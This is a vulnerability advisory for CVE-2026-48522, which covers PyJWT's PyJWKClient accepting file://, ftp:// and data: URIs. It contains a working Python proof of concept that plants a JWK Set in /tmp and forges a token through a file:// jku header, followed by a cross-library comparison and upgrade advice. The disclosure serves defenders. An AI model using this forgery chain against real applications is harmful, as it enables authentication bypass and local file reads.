CVE-2026-48522
PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes
Summary
> [!NOTE] > The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation. ## Summary PyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can: 1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`. 2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface). 3. **Forge tokens that PyJWT verifies as valid** — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts. ## Affected versions Tested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction. ## Reproducer (full attack chain — verified empirically) ```python import jwt as pyjwt from jwt import PyJWKClient from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import json, base64, time # Attacker generates keypair (no relation to real IdP) key = rsa.generate_private_key(public_exponent=65537, key_size=2048) pub_n = key.public_key().public_numbers().n def b64u(n): bl = (n.bit_length() + 7) // 8 return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode() # Attacker writes JWK Set containing their public key to /tmp jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256", "n":b64u(pub_n),"e":"AQAB"}]} with open("/tmp/attacker.json","w") as f: json.dump(jwks, f) # Attacker mints token signed with their private key, jku=file:// priv_pem = key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) now = int(time.time()) token = pyjwt.encode( {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600}, priv_pem, algorithm="RS256", headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"}) # Vulnerable application pattern: caller derives jku from token header # and passes to PyJWKClient without scheme validation header = pyjwt.get_unverified_header(token) client = PyJWKClient(header["jku"]) # <-- accepts file:// silently key_obj = client.get_signing_key_from_jwt(token) decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"], audience="target-app") print("Token verified:", decoded) # Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...} ``` ## Cross-library evidence — PyJWT is the outlier The same composition pattern is structurally safe in 4 other mainstream JWT libraries: | Library | Behavior on `jku=file://...` | Mechanism | |---|---|---| | **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler | | panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer | | golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https | | Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` | | Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses
Affected packages
| Ecosystem | Package | Affected versions | Fixed versions |
|---|---|---|---|
| PyPI | PyJWT | — | 2.13.0 |
Remediation: Upgrade to 2.13.0 or later.
References
Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.
CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.
EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.